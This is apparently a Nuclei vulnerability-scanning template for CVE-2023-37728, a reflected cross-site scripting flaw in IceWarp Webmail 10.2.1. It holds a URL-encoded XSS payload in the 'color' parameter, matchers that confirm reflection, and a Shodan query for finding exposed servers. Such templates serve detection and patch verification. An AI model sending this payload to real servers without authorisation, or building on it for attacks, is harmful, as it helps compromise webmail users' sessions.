id: CVE-2023-37728

info:
  name: IceWarp Webmail Server v10.2.1 - Cross Site Scripting
  author: technicaljunkie,r3Y3r53
  severity: medium
  description: |
    Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.
  reference:
    - https://medium.com/@ayush.engr29/cve-2023-37728-6dfb7586311
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37728
    - http://icearp.com
    - http://icewarp.com
    - https://medium.com/%40ayush.engr29/cve-2023-37728-6dfb7586311
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-37728
    cwe-id: CWE-79
    epss-score: 0.00259
    epss-percentile: 0.65066
    cpe: cpe:2.3:a:icewarp:icewarp:10.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: icewarp
    product: icewarp
    shodan-query: http.favicon.hash:2144485375
  tags: cve,cve2023,icearp,icewarp,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/webmail/?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27"
      - "{{BaseURL}}/?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(header, "IceWarp") || contains(body, "IceWarp WebClient")'
          - 'contains(body, "<img src onerror=alert(document.domain)>")'
        condition: and
# digest: 4b0a00483046022100dd2b30d77bd7fdbf38132b03bf1799f609b6434de967ef4df2ad9a875f78a1a7022100b3979a2c39405f62a7af632bf637171fd653ed4121ee891ddabc6d19b422be6b:922c64590222798bb761d5b6d8e72950